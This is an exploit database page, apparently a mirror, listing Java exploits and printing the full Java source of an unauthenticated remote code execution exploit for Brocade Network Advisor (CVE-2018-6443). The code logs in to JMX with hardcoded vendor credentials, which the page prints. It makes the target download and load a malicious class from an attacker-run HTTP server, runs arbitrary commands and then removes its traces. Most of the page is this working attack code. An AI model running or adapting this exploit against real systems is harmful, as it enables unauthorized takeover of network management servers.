Menu

Improved exploit search engine. Try it out

"Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution"

Author

"Jakub Palaczynski"

Platform

java

Release date

2019-05-21

Release Date Title Type Platform Author
2019-06-17 "Spring Security OAuth - Open Redirector" webapps java Riemann
2019-06-04 "Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting" webapps java Vingroup
2019-06-04 "Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting" webapps java Vingroup
2019-06-04 "Zoho ManageEngine ServiceDesk Plus 9.3 - 'SolutionSearch.do' Cross-Site Scripting" webapps java Vingroup
2019-06-04 "Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting" webapps java Vingroup
2019-05-29 "Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)" remote java Metasploit
2019-05-21 "Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution" webapps java "Jakub Palaczynski"
2019-05-21 "Oracle CTI Web Service - 'EBS_ASSET_HISTORY_OPERATIONS' XML Entity Injection" webapps java omurugur
2019-04-30 "Spring Cloud Config 2.1.x - Path Traversal (Metasploit)" webapps java "Dhiraj Mishra"
2019-04-26 "Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting" webapps java "Dhiraj Mishra"
2019-04-08 "ManageEngine ServiceDesk Plus 9.3 - User Enumeration" webapps java "Alexander Bluestein"
2019-03-19 "Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming RCE (Metasploit)" remote java Metasploit
2016-12-20 "Java Debug Wire Protocol (JDWP) - Remote Code Execution" remote java IOactive
2019-02-25 "Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 - Remote Code Execution" webapps java wetw0rk
2019-02-19 "Jenkins - Remote Code Execution" webapps java orange
2019-02-18 "Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process" dos java "Google Security Research"
2019-02-18 "Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass" dos java "Google Security Research"
2019-02-18 "Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions" dos java "Google Security Research"
2019-02-18 "Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour" dos java "Google Security Research"
2019-02-05 "OpenMRS Platform < 2.24.0 - Insecure Object Deserialization" webapps java "Bishop Fox"
2019-01-28 "Rundeck Community Edition < 3.0.13 - Persistent Cross-Site Scripting" webapps java "Ishaq Mohammed"
2018-11-30 "Apache Spark - Unauthenticated Command Execution (Metasploit)" remote java Metasploit
2018-11-14 "Atlassian Jira - Authenticated Upload Code Execution (Metasploit)" remote java Metasploit
2018-10-24 "Apache OFBiz 16.11.04 - XML External Entity Injection" webapps java "Jamie Parfet"
2018-10-22 "Oracle Siebel CRM 8.1.1 - CSV Injection" webapps java "Sarath Nair"
2018-10-01 "ManageEngine AssetExplorer 6.2.0 - Cross-Site Scripting" webapps java "Ismail Tasdelen"
2018-10-01 "H2 Database 1.4.196 - Remote Code Execution" webapps java h4ckNinja
2018-09-27 "ManageEngine Desktop Central 10.0.271 - Cross-Site Scripting" webapps java "Ismail Tasdelen"
2018-08-06 "Wavemaker Studio 6.6 - Server-Side Request Forgery" webapps java "Gionathan Reale"
2018-08-06 "LAMS < 3.1 - Cross-Site Scripting" webapps java "Nikola Kojic"
Release Date Title Type Platform Author
2019-05-21 "Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution" webapps java "Jakub Palaczynski"
2018-11-05 "Royal TS/X - Information Disclosure" webapps json "Jakub Palaczynski"
2018-10-31 "Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution" webapps php "Jakub Palaczynski"
2017-12-13 "Meinberg LANTIME Web Configuration Utility 6.16.008 - Arbitrary File Read" webapps cgi "Jakub Palaczynski"
2016-10-20 "Oracle BI Publisher 11.1.1.6.0/11.1.1.7.0/11.1.1.9.0/12.2.1.0.0 - XML External Entity Injection" webapps xml "Jakub Palaczynski"
2015-06-10 "HP WebInspect 10.4 - XML External Entity Injection" webapps xml "Jakub Palaczynski"
2014-12-12 "IBM Tivoli Service Automation Manager 7.2.4 - Remote Code Execution" webapps jsp "Jakub Palaczynski"
2018-09-17 "CA Release Automation NiMi 6.5 - Remote Command Execution" remote java "Jakub Palaczynski"
2017-09-13 "Astaro Security Gateway 7 - Remote Code Execution" remote hardware "Jakub Palaczynski"
2014-12-10 "Apache James Server 2.3.2 - Remote Command Execution" remote linux "Jakub Palaczynski"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46887/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46887/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46887/41347/brocade-network-advisor-1441-unauthenticated-remote-code-execution/download/", "exploit_id": "46887", "exploit_description": "\"Brocade Network Advisor 14.4.1 - Unauthenticated Remote Code Execution\"", "exploit_date": "2019-05-21", "exploit_author": "\"Jakub Palaczynski\"", "exploit_type": "webapps", "exploit_platform": "java", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
/*                                                                        
   Exploit Title: Brocade Network Advisor - Unauthenticated Remote Code Execution
   Date: 2017-03-29
   Exploit Author: Jakub Palaczynski
   Vendor Homepage: https://www.broadcom.com/
   CVE: CVE-2018-6443

   Version:
      Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected.
      Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected.
      IBM Network Advisor seems to also be affected.

   Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system.
*/

import javax.management.remote.*;
import javax.management.*;
import java.util.*;
import java.lang.*;
import java.io.*;
import java.net.*;
import com.sun.net.httpserver.*;
import java.util.Scanner;
import java.security.*;
import java.security.cert.*;
import javax.net.ssl.*;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.util.regex.Pattern;
import java.util.regex.Matcher;

public class RemoteMbean {

 private static String JARNAME = "compr.jar";
 private static String OBJECTNAMEA = "BNASupport:name=support,id=3434";
 private static String OBJECTNAMEB = "BNASecurity:name=loader,id=3535";
 private static String EVILCLASS = "com.expl.Evil";

 private static String localIP;
 private static int localPort;
 private static String connString;
 private static String command;
 private static String username;
 private static String password;
 private static String host;
 private static int port;
 private static int jmxport;
 private static String tspwd;

 public static void main(String[] args) {
  try {
   if (args.length < 3) {
    showHelp();
   }

   tspwd = "changeit"; // default Java keystore password
   host = args[0].split(":")[0]; // IP of BNA
   port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA

   char SEP = File.separatorChar;
   String path = System.getProperty("java.home") + SEP + "lib" + SEP + "security";
   File dir = new File(path);
   File file = new File(dir, "cacerts");
   if (file.isFile() == false) {
    file = new File(dir, "jssecacerts");
    path = path + SEP + "jssecacerts";
   } else {
    path = path + SEP + "cacerts";
   }

   // import SSL certificate into Java keystore
   checkCert(tspwd, file, path, host, port);

   // check if hardcoded password is still there and find JMX port
   jmxport = checkPwd(args[0]);

   if (jmxport == 0) {
    System.out.println("[-] Cannot find JMX port, trying default ...");
    jmxport = 24604;
   }

   connString = "service:jmx:remote://" + host + ":" + jmxport + "/"; // connection string for JMX - if "Unsupported protocol" error then maybe should be changed to "remoting-jmx"
   command = args[1]; // command to execute
   localIP = args[2].split(":")[0]; // reverse IP address
   localPort = Integer.parseInt(args[2].split(":")[1]); // reverse port
   username = "admin"; // hardcoded username
   password = "no12see!"; // hardcoded password

   // starting HTTP server for serving mlet
   System.out.println("[+] Starting HTTP server.");
   HttpServer server = HttpServer.create(new InetSocketAddress(localPort), 0);
   server.createContext("/mlet", new MLetHandler());
   server.createContext("/" + JARNAME, new JarHandler());
   server.setExecutor(null);
   server.start();

   // start exploitation
   connectAndOwn(connString, command, username, password);
   server.stop(0);

   // clean up Java keystore
   deleteCertificate(file, path, tspwd, host);

  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 static void showHelp() {
  System.out.println("HOWTO: java -cp ./jboss-cli-client.jar:. RemoteMbean IP:BNA_HTTPS_PORT/ \"COMMAND\" REVERSEIP:REVERSEPORT");
  System.out.println("Example: java -cp ./jboss-cli-client.jar:. RemoteMbean 127.0.0.1:443 \"id\" 127.0.0.1:1234");
  System.exit(0);
 }

 static boolean checkCert(String tspwd, File file, String path, String host, int port) {
  try {
   InputStream in = new FileInputStream(file);
   KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
   ks.load( in , tspwd.toCharArray()); in .close();

   SSLContext context = SSLContext.getInstance("TLS");
   TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
   tmf.init(ks);
   X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0];
   SavingTrustManager tm = new SavingTrustManager(defaultTrustManager);
   context.init(null, new TrustManager[] { tm }, null);
   SSLSocketFactory factory = context.getSocketFactory();

   System.out.println("[+] Checking certificate.");
   SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
   socket.setSoTimeout(10000);
   try {
    socket.startHandshake();
    socket.close();
    System.out.println("[+] Certificate is already trusted.");
    return true;
   } catch (SSLException e) {
    // e.printStackTrace(System.out); // uncomment to see what SSL error occured
   }

   X509Certificate[] chain = tm.chain;
   if (chain == null) {
    System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail.");
    return false;
   }

   BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));

   MessageDigest sha1 = MessageDigest.getInstance("SHA1");
   MessageDigest md5 = MessageDigest.getInstance("MD5");
   for (int i = 0; i < chain.length; i++) {
    X509Certificate cert = chain[i];
    sha1.update(cert.getEncoded());
    md5.update(cert.getEncoded());
   }

   X509Certificate cert = chain[0];
   String alias = host;
   ks.setCertificateEntry(alias, cert);

   OutputStream out = new FileOutputStream(path);
   ks.store(out, tspwd.toCharArray());
   out.close();

   System.out.println("[+] Added certificate to " + path + " using alias '" + alias + "'");

  } catch (Exception e) {
   e.printStackTrace();
  }
  return true;
 }

 static int checkPwd(String target) {
  try {
   TrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() {
     public java.security.cert.X509Certificate[] getAcceptedIssuers() {
      return null;
     }
     public void checkClientTrusted(X509Certificate[] certs, String authType) {}
     public void checkServerTrusted(X509Certificate[] certs, String authType) {}
    }
   };

   SSLContext sc = SSLContext.getInstance("SSL");
   sc.init(null, trustAllCerts, new java.security.SecureRandom());
   HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

   HostnameVerifier allHostsValid = new HostnameVerifier() {
    public boolean verify(String hostname, SSLSession session) {
     return true;
    }
   };

   HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid);

   // connect to BNA website
   System.out.println("[+] Connecting to BNA website.");
   URL url = new URL("https://" + target + "/dcm-client/dcmclient.jnlp");
   HttpURLConnection con = (HttpURLConnection) url.openConnection();
   con.setRequestMethod("GET");
   BufferedReader in = new BufferedReader(
    new InputStreamReader(con.getInputStream()));
   String inputLine;
   StringBuffer content = new StringBuffer();
   while ((inputLine = in .readLine()) != null) {
    content.append(inputLine);
   } in .close();
   con.disconnect();

   // check for hardcoded password
   if (!(content.indexOf("k62dCsMggeFy9oyf93Rujw==") >= 0)) {
    System.out.println("[-] Cannot find hardcoded credentials.");
    return 0;
   }
   else {
    System.out.println("[+] Hardcoded credentials confirmed.");
   }

   // retrieve JMX port
   Pattern p = Pattern.compile(Pattern.quote("jnlp.dcm.dcm.jmxport\"") + "(.*?)" + Pattern.quote(">"));
   Matcher m = p.matcher(content);
   while (m.find()) {
    System.out.println("[+] Found JMX port: " + m.group(1).split("\"")[1] + ".");
    return Integer.parseInt(m.group(1).split("\"")[1]);
   }

  } catch (Exception e) {
   e.printStackTrace();
   return 0;
  }
  return 0;
 }


 static void connectAndOwn(String connString, String command, String username, String password) {
  JMXConnector c;

  try {
   JMXServiceURL u = new JMXServiceURL(connString);

   // connect and authenticate
   System.out.println("[+] Connecting using hardcoded credentials...");
   Map env = new HashMap();
   String[] creds = {
    username,
    password
   };
   env.put(JMXConnector.CREDENTIALS, creds);
   c = JMXConnectorFactory.connect(u, env);
   System.out.println("[+] Successfully connected.");

   MBeanServerConnection m = c.getMBeanServerConnection();

   // check if custom MBeans already exist
   ObjectInstance evil_bean = null;
   try {
    evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAMEA));
   } catch (Exception e) {
    evil_bean = null;
   }

   if (evil_bean == null) {
    ObjectInstance oi = null;
    ObjectName mletObjName = new ObjectName(OBJECTNAMEA);
    ObjectName mletLoaderName = new ObjectName(OBJECTNAMEB);

    System.out.println("[+] Registering MLet class.");
    try {
     oi = m.createMBean("javax.management.loading.MLet", mletLoaderName);
    } catch (javax.management.InstanceAlreadyExistsException e) {
     oi = m.getObjectInstance(new ObjectName(OBJECTNAMEB));
    }

    System.out.println("[+] MLet class successfully registered.");
    System.out.println("[+] Downloading and registering custom class.");
    Object res = m.invoke(oi.getObjectName(), "getMBeansFromURL", new Object[] {
     String.format("http://%s:%d/mlet/", localIP, localPort)
    }, new String[] {
     String.class.getName()
    });
    HashSet res_set = ((HashSet) res);
    Iterator itr = res_set.iterator();
    Object nextObject = itr.next();
    if (nextObject instanceof Exception) {
     throw ((Exception) nextObject);
    }
    evil_bean = ((ObjectInstance) nextObject);
   }
   System.out.println("[+] Custom class successfully registered.");
   System.out.println("[+] Running command.\n");
   ObjectName plok = new ObjectName(OBJECTNAMEA);
   Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[] {
    command
   }, new String[] {
    String.class.getName()
   });
   System.out.println("Result:\n" + result + "\n");

   // unregister custom MBeans
   System.out.println("[+] Cleaning up JMX.");
   for (ObjectInstance x: m.queryMBeans(null, null)) {
    if (x.getObjectName().toString().startsWith("BNASecurity")) {
     m.unregisterMBean(x.getObjectName());
    }
   }

   for (ObjectInstance x: m.queryMBeans(null, null)) {
    if (x.getObjectName().toString().startsWith("BNASupport")) {
     m.unregisterMBean(x.getObjectName());
    }
   }
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 static class MLetHandler implements HttpHandler {
  public void handle(HttpExchange t) throws IOException {
   String response = String.format("<HTML><MLET CODE=%s ARCHIVE=%s NAME=%s CODEBASE=http://%s:%d/></MLET></HTML>", EVILCLASS, JARNAME, OBJECTNAMEA, localIP, localPort);
   System.out.println("[+] Received reverse connection for HTTP page.");
   t.sendResponseHeaders(200, response.length());
   OutputStream os = t.getResponseBody();
   os.write(response.getBytes());
   os.close();
  }
 }

 static class JarHandler implements HttpHandler {
  public void handle(HttpExchange t) throws IOException {
   System.out.println("[+] Received reverse connection for JAR file.");
   File file = new File(JARNAME);
   byte[] bytearray = new byte[(int) file.length()];
   FileInputStream fis = new FileInputStream(file);
   BufferedInputStream bis = new BufferedInputStream(fis);
   bis.read(bytearray, 0, bytearray.length);
   t.sendResponseHeaders(200, file.length());
   OutputStream os = t.getResponseBody();
   os.write(bytearray, 0, bytearray.length);
   os.close();
  }
 }

 private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray();

 private static String toHexString(byte[] bytes) {
  StringBuilder sb = new StringBuilder(bytes.length * 3);
  for (int b: bytes) {
   b &= 0xff;
   sb.append(HEXDIGITS[b >> 4]);
   sb.append(HEXDIGITS[b & 15]);
   sb.append(' ');
  }
  return sb.toString();
 }

 public static void deleteCertificate(File trustStore, String path, String password, String alias) {
  try (final FileInputStream fis = new FileInputStream(trustStore)) {
   final KeyStore keystore = KeyStore.getInstance(KeyStore.getDefaultType());
   keystore.load(fis, password.toCharArray());
   if (keystore.containsAlias(alias)) {
    keystore.deleteEntry(alias);
    OutputStream writeStream = new FileOutputStream(path);
    keystore.store(writeStream, password.toCharArray());
    writeStream.close();
    System.out.println("[+] Certificate deleted from keystore.");
   }
   else {
    System.out.println("[-] Alias " + alias + " not found in keystore.");
   }
  }
  catch (final Exception e) {
   System.out.println("[-] Error occured while deleting certificate.");
  }
 }

 private static class SavingTrustManager implements X509TrustManager {
  private final X509TrustManager tm;
  private X509Certificate[] chain;
  SavingTrustManager(X509TrustManager tm) {
   this.tm = tm;
  }

  @Override
  public X509Certificate[] getAcceptedIssuers() {
   return new X509Certificate[0];
   // throw new UnsupportedOperationException();
  }

  @Override
  public void checkClientTrusted(final X509Certificate[] chain,
   final String authType)
  throws CertificateException {
   throw new UnsupportedOperationException();
  }

  @Override
  public void checkServerTrusted(final X509Certificate[] chain,
   final String authType)
  throws CertificateException {
   this.chain = chain;
   this.tm.checkServerTrusted(chain, authType);
  }
 }
}